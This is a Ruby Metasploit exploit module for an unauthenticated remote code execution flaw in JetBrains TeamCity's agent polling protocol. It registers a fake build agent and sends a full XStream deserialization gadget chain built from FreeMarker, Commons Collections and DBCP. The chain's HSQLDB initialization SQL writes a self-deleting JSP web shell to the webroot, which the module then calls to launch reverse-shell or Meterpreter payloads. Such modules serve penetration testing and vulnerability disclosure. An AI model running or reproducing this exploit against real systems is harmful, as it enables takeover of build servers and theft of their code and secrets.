# frozen_string_literal: true ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'JetBrains TeamCity Agent Polling Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits an unsafe XStream deserialization vulnerability in the JetBrains TeamCity agent polling protocol. An unauthenticated attacker can register a build agent, then submit a crafted error response that causes TeamCity to deserialize an attacker-controlled object graph. The object graph uses FreeMarker and Commons Collections to invoke BasicDataSource.getConnection(). HSQLDB initialization statements then write a one-shot JSPWS file to the TeamCity webroot. Requesting the JSPWS file executes the payload with the privileges of the TeamCity server process, deletes the JSPWS source file, and removes the build agent registered by the module. This vulnerability was patched in TeamCity version 2025.11.7, and version 2026.1.3. }, 'License' => MSF_LICENSE, 'Author' => [ 'Antoni Tremblay', # Discovery 'sfewer-r7' # Analysis, PoC, and Metasploit module ], 'References' => [ ['CVE', '2026-63077'], ['URL', 'https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/'], ['URL', 'https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/'], ['URL', 'https://github.com/sfewer-r7/CVE-2026-63077/'] ], 'DisclosureDate' => '2026-07-27', 'Privileged' => false, # TeamCity may run as root or SYSTEM, but may also be a lower priv service account. # Tested against: # * TeamCity 2026.1.2 (build 222647) running on Windows Server 2025 'Targets' => [ [ 'Java Server Page', # Tested with payloads (on both Windows and Linux): # * java/jsp_shell_reverse_tcp { 'Arch' => ARCH_JAVA, 'Platform' => ['win', 'unix', 'linux'] } ], [ 'Windows Command', # Tested with payloads: # * cmd/windows/http/x64/meterpreter_reverse_tcp { 'Arch' => ARCH_CMD, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\r\n\"\\'" } } ], [ 'Linux Command', # Tested with payloads: # * cmd/linux/http/x64/meterpreter_reverse_tcp # * cmd/unix/reverse_bash # * cmd/unix/reverse_netcat { 'Arch' => ARCH_CMD, 'Platform' => ['unix', 'linux'], 'Payload' => { 'BadChars' => "\r\n\"\\'" } } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options([ Opt::RPORT(8111), OptString.new('TARGETURI', [true, 'The base path to TeamCity', '/']) ]) register_advanced_options([ # HSQLDB's SCRIPT statement resolves this path from the TeamCity server process working directory. OptString.new('WebRootRelative', [true, 'The TeamCity webroot relative to the server process working directory', '../webapps/ROOT']) ]) end def check # login.html is available without authentication and exposes both the product headers and version string we need. res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.html') ) return CheckCode::Unknown('Connection failed') unless res # Either marker is sufficient because both the cluster node header and session cookie are specific to TeamCity. teamcity_detected = res.headers.include?('TeamCity-Node-Id') || res.get_cookies.include?('TCSESSIONID') return CheckCode::Unknown('The target does not appear to be JetBrains TeamCity') unless teamcity_detected # TeamCity renders versions as YYYY.release[.patch] followed by its numeric build identifier. version_match = res.body.match(/(?\d{4}\.\d+(?:\.\d+)?) \(build (?\d+)\)/) return CheckCode::Detected('JetBrains TeamCity detected, but the version could not be determined') unless version_match version = Rex::Version.new(version_match[:version]) detected = "JetBrains TeamCity #{version} (build #{version_match[:build]}) detected." # The 2025.11 and 2026.1 release branches have different first fixed versions. Bound the 2025.11 comparison so a # later 2026.1 release is judged against its own fix rather than the numerically lower 2025.11.7 version. if version >= Rex::Version.new('2026.1.3') || (version >= Rex::Version.new('2025.11.7') && version < Rex::Version.new('2026.1.0')) return CheckCode::Safe(detected) end # NOTE: The security patch plugin for TeamCity 2017.1 and later is not detectable via the HTTP interface, so we # cannot reliably determine if the target is patched. We assume that any vulnerable version is exploitable. # https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/#mitigation-option-2-apply-the-security-patch-plugin CheckCode::Appears(detected) end def exploit registration_xml = build_registration_xml print_status('Registering a TeamCity build agent') # We first need to register a new agent, so we can retrieve an agent id, required to later reach the unsafe # deserialization endpoint. res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'app', 'agents', 'v1', 'register'), 'ctype' => 'application/xml', 'data' => registration_xml ) fail_with(Failure::Unreachable, 'No response received while registering the build agent') unless res fail_with(Failure::UnexpectedReply, "Agent registration returned HTTP #{res.code}") unless res.code == 200 # The polling endpoint accepts commands only when they carry the session identifier returned at registration. Its # numeric prefix identifies the agent so the JSP payload can later remove the corresponding TeamCity database record. agent_session_id = res.headers['TeamCity-AgentSessionId'] vprint_status("Registered new agent with a TeamCity-AgentSessionId: #{agent_session_id}") fail_with(Failure::UnexpectedReply, 'Agent registration did not return a TeamCity-AgentSessionId header') if agent_session_id.blank? agent_id = agent_id_from_session(agent_session_id) print_status('Sending the XStream deserialization payload') deserialization_payload = build_deserialization_payload(agent_id) # Trigger the vulnerability and execute a gadget chain via unsafe deserialization in the error endpoint. The # gadget chain will write a malicious JSP file to disk (under a .jspws extension). We use this JSP file to execute # a Metasploit JSP or CMD payload. res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'app', 'agents', 'v1', 'commands', 'error'), 'ctype' => 'application/xml', 'headers' => { 'TeamCity-AgentSessionId' => agent_session_id, # TeamCity expects an agent command identifier; a random value avoids collisions with other polling traffic. 'TeamCity-AgentCommandId' => rand(100_000..999_999).to_s }, 'data' => deserialization_payload[:payload_xml] ) fail_with(Failure::Unreachable, 'No response received from the deserialization endpoint') unless res # We expect an HTTP 500 response after the unsafe deserialization occurs. fail_with(Failure::UnexpectedReply, "Deserialization endpoint returned HTTP #{res.code}") unless res.code == 500 print_status("Requesting the JSPWS payload at #{deserialization_payload[:jsp_uri]}") # Now we can trigger the JSP payload we dropped. res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, deserialization_payload[:jsp_uri]) ) fail_with(Failure::Unreachable, 'No response received while requesting the JSPWS payload') unless res # The unique response token is emitted only after payload execution has succeeded. unless res.code == 200 && res.body.include?(deserialization_payload[:response_token]) fail_with(Failure::UnexpectedReply, "The JSPWS payload did not return the expected response token (HTTP #{res.code})") end print_good('The JSPWS payload was executed successfully') end # Extracts the numeric agent identifier from TeamCity's : polling-session format. The # JSP needs the server-assigned identifier to remove only the agent registered by this exploit attempt. def agent_id_from_session(agent_session_id) agent_id_match = agent_session_id.match(/\A(?[1-9][0-9]*):.+\z/) fail_with(Failure::UnexpectedReply, 'Agent registration returned an invalid TeamCity-AgentSessionId header') unless agent_id_match agent_id_match[:agent_id].to_i end # Builds the minimal agentDetails document needed to obtain an unauthenticated agent session. def build_registration_xml identifiers = Rex::RandomIdentifier::Generator.new Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml| xml.agentDetails( 'agentName' => identifiers[:agent_name], 'agentAddress' => '127.0.0.1', 'agentPort' => rand(1024..65_535).to_s, 'authToken' => identifiers[:auth_token], 'pingCode' => '' ) do xml.alternativeAddresses xml.availableRunners xml.availableVcs xml.buildParameters xml.configParameters end end.to_xml end # Builds the XStream object graph that reaches BasicDataSource#getConnection and returns the XML with the generated # JSP URI and response token. # # For additional details of the object graph and its reference paths, see: # https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/ def build_deserialization_payload(agent_id) # Java accepts forward slashes on Windows and Unix. Normalize the path separators and remove trailing separators # before appending the generated JSP filename. webroot_relative = datastore['WebRootRelative'].tr('\\', '/').sub(%r{/+\z}, '') # Reject values that cannot represent the intended single filesystem path before placing the value in SQL. if webroot_relative.empty? || webroot_relative.match?(/[\x00\r\n]/) fail_with(Failure::BadConfig, 'WebRootRelative must identify a directory on a single line') end identifiers = Rex::RandomIdentifier::Generator.new # TeamCity maps the .jspws extension to its JSP servlet. We cannot execute a .jsp file directly as the # TeamCity servlet that handles .jsp will block it, so we target .jspws instead. filename = "#{identifiers[:file_id]}.jspws" # The URI is both embedded in the JSP self-deletion code and returned to #exploit for the trigger request. jsp_uri = "/#{filename}" # Generate the selected ARCH_JAVA or ARCH_CMD JSP, a response token that confirms execution, and agent cleanup. jsp, response_token = build_jsp(jsp_uri, agent_id) # Escape the JSP so we can write it into the SQL (and calculate the VARCHAR length). jsp_string_literal = hsqldb_string_literal(jsp) # HSQLDB resolves this relative filename when the SCRIPT statement writes the database contents into the webroot. output_path = "#{webroot_relative}/#{filename}" # The first two statements store the JSP in a table row. SCRIPT then serializes that row into a SQL/JSP polyglot at # the chosen webroot path. The escaped literal length conservatively guarantees the VARCHAR can hold the decoded JSP. init_sql = [ "CREATE TABLE IF NOT EXISTS #{identifiers[:table_name]}(#{identifiers[:column_name]} VARCHAR(#{jsp_string_literal.length}))", "INSERT INTO #{identifiers[:table_name]} VALUES (#{jsp_string_literal})", "SCRIPT #{hsqldb_string_literal(output_path)}" ] payload_xml = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml| xml.send('linked-hash-map') do # Stage 1 uses an allowed TeamCity Throwable hierarchy to allocate otherwise denied HSQL storage and # BasicDataSource objects without introducing another class node that XStream would reject. xml.entry do xml.string(identifiers[:first_map_entry]) xml.send('jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException') do xml.send('outer-class') do xml.myHSQLStorage do xml.myDataSource do # Recreate the serialized DBCP BasicDataSource state expected by the target version. The in-memory # HSQLDB URL avoids relying on an existing database and connectionInitSqls carries the file-write SQL. xml.defaultTransactionIsolation('-1') xml.cacheState('true') xml.driverClassName('org.hsqldb.jdbc.JDBCDriver') xml.lifo('true') xml.maxTotal('8') xml.maxIdle('8') xml.minIdle('0') xml.initialSize('0') xml.maxWaitMillis('-1') xml.poolPreparedStatements('false') xml.clearStatementPoolOnReturn('false') xml.maxOpenPreparedStatements('-1') xml.testOnCreate('false') xml.testOnBorrow('true') xml.testOnReturn('false') xml.timeBetweenEvictionRunsMillis('-1') xml.numTestsPerEvictionRun('3') xml.minEvictableIdleTimeMillis('1800000') xml.softMinEvictableIdleTimeMillis('-1') xml.evictionPolicyClassName('org.apache.commons.pool2.impl.DefaultEvictionPolicy') xml.testWhileIdle('false') xml.password xml.url("jdbc:hsqldb:mem:#{identifiers[:database_name]}") xml.userName('SA') xml.validationQueryTimeoutSeconds('-1') # DBCP executes these statements when the final gadget requests a new connection. xml.connectionInitSqls do init_sql.each { |statement| xml.string(statement) } end xml.accessToUnderlyingConnectionAllowed('false') xml.maxConnLifetimeMillis('-1') xml.logExpiredConnections('true') xml.autoCommitOnReturn('true') xml.rollbackOnReturn('true') xml.fastFailValidation('false') xml.connectionProperties xml.closed('false') end xml.myStopped('false') xml.myDatabaseOpen('false') end end end end # Stage 2 reconstructs FreeMarker wrappers and uses reference-only nodes to relocate the existing # BasicDataSource into a BooleanModel without causing XStream to perform another denied type check. xml.entry do xml.string(identifiers[:second_map_entry]) xml.send('freemarker.ext.beans.HashAdapter') do xml.wrapper do xml.sharedIntrospectionLock xml.classIntrospector do xml.exposureLevel('0') xml.exposeFields('false') xml.treatDefaultMethodsAsBeanMembers('false') xml.incompatibleImprovements do xml.major('2') xml.minor('3') xml.micro('0') xml.intValue('2003000') xml.calculatedStringValue('2.3.0') xml.hashCode('0') end xml.hasSharedInstanceRestrictions('false') xml.shared('false') # Reuse the lock object already created in the wrapper to preserve FreeMarker's expected object identity. xml.sharedLock('reference' => '../../sharedIntrospectionLock') xml.cache xml.cacheClassNames xml.classIntrospectionsInProgress xml.modelFactories xml.clearingCounter('0') end xml.falseModel do # Point the model at the Stage 1 BasicDataSource; BeanModel will later expose its connection property. xml.object('reference' => '../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource') # Reuse the enclosing BeansWrapper rather than instantiating a second wrapper with inconsistent state. xml.wrapper('reference' => '../..') xml.value('false') end xml.writeProtected('false') xml.defaultDateType('0') xml.methodsShadowItems('true') xml.simpleMapWrapper('false') xml.strict('false') xml.preferIndexedReadMethod('true') xml.incompatibleImprovements('reference' => '../classIntrospector/incompatibleImprovements') end # HashAdapter delegates map lookups to this model, which now wraps the BasicDataSource object. xml.model('reference' => '../wrapper/falseModel') end end # Stage 3 places TiedMapEntry in a HashSet. Recomputing its hash asks HashAdapter for the "connection" key, # causing FreeMarker to invoke BasicDataSource#getConnection and execute the HSQLDB initialization statements. xml.entry do xml.string(identifiers[:third_map_entry]) xml.set do xml.send('org.apache.commons.collections.keyvalue.TiedMapEntry') do # Reference the Stage 2 adapter so deserialization follows the already-approved object graph. xml.send('map', 'class' => 'freemarker.ext.beans.HashAdapter', 'reference' => '../../../../entry[2]/freemarker.ext.beans.HashAdapter') xml.key('connection', 'class' => 'string') end end end end end.to_xml # The caller needs the XML to trigger deserialization and the URI/token pair to trigger and confirm code execution. { payload_xml: payload_xml, jsp_uri: jsp_uri, response_token: response_token } end # Produces the JSP source appropriate for the selected target. ARCH_JAVA payloads are already complete JSP documents; # ARCH_CMD payloads must first be embedded in a Runtime.exec wrapper before receiving the common cleanup trailer. def build_jsp(jsp_uri, agent_id) jsp_identifiers = Rex::RandomIdentifier::Generator.new(language: :jsp) if target['Arch'] == ARCH_JAVA return build_java_payload_jsp(jsp_identifiers, jsp_uri, agent_id, payload.encoded) end build_native_command_jsp(jsp_identifiers, jsp_uri, agent_id, payload.encoded) end # Wraps an ARCH_CMD payload in a small JSP scriptlet that invokes the target operating system's command interpreter. # The wrapper is required because command payloads are shell text rather than directly executable JSP source. def build_native_command_jsp(jsp_identifiers, jsp_uri, agent_id, command) executable, argument = target['Platform'] == 'win' ? ['cmd.exe', '/c'] : ['/bin/sh', '-c'] jsp_payload = <<~JSP <% java.lang.String[] #{jsp_identifiers[:command_array]} = new java.lang.String[]{"#{executable}", "#{argument}", "#{command}"}; java.lang.Runtime.getRuntime().exec(#{jsp_identifiers[:command_array]}); %> JSP build_java_payload_jsp(jsp_identifiers, jsp_uri, agent_id, jsp_payload) end # Appends the response token printing, self-deletion, and agent cleanup to a JSP payload. The response token is # deliberately emitted first, so receiving it confirms payload execution, before anything else is attempted. def build_java_payload_jsp(jsp_identifiers, jsp_uri, agent_id, jsp_payload) jsp = <<~JSP #{jsp_payload} <% out.print("#{jsp_identifiers[:response_token]}"); java.nio.file.Files.deleteIfExists(java.nio.file.Path.of(application.getRealPath("#{jsp_uri}"))); final org.springframework.web.context.WebApplicationContext #{jsp_identifiers[:spring_context]} = jetbrains.buildServer.maintenance.TeamCityDispatcherServlet.SPRING_CONTEXT; if (#{jsp_identifiers[:spring_context]} != null) { final jetbrains.buildServer.serverSide.SecurityContextEx #{jsp_identifiers[:security_context]} = (jetbrains.buildServer.serverSide.SecurityContextEx) #{jsp_identifiers[:spring_context]}.getBean("securityContext"); final jetbrains.buildServer.serverSide.BuildAgentManagerEx #{jsp_identifiers[:agent_manager]} = (jetbrains.buildServer.serverSide.BuildAgentManagerEx) #{jsp_identifiers[:spring_context]}.getBean("agentManager"); #{jsp_identifiers[:security_context]}.runAsSystemUnchecked( new jetbrains.buildServer.serverSide.SecurityContextEx.RunAsAction() { public void run() throws java.lang.Throwable { #{jsp_identifiers[:agent_manager]}.unregisterAgent(#{agent_id}, ""); jetbrains.buildServer.serverSide.BuildAgentEx #{jsp_identifiers[:agent]} = #{jsp_identifiers[:agent_manager]}.findAgentById(#{agent_id}, true); if (#{jsp_identifiers[:agent]} != null) { #{jsp_identifiers[:agent_manager]}.removeAgent(#{jsp_identifiers[:agent]}, null); } } } ); } %> JSP [ # The HSQLDB SCRIPT output writes each table row on one physical line. Compact the JSP so the SQL/JSP polyglot # remains a single valid JSP after the database serializes it. jsp.lines.map(&:strip).reject(&:empty?).join(' '), jsp_identifiers[:response_token] ] end # Quotes an arbitrary value as an HSQLDB string literal. SQL represents an embedded single quote by doubling it, so # this helper is required before JSP source or filesystem paths are placed into initialization statements. def hsqldb_string_literal(value) "'#{value.gsub("'", "''")}'" end end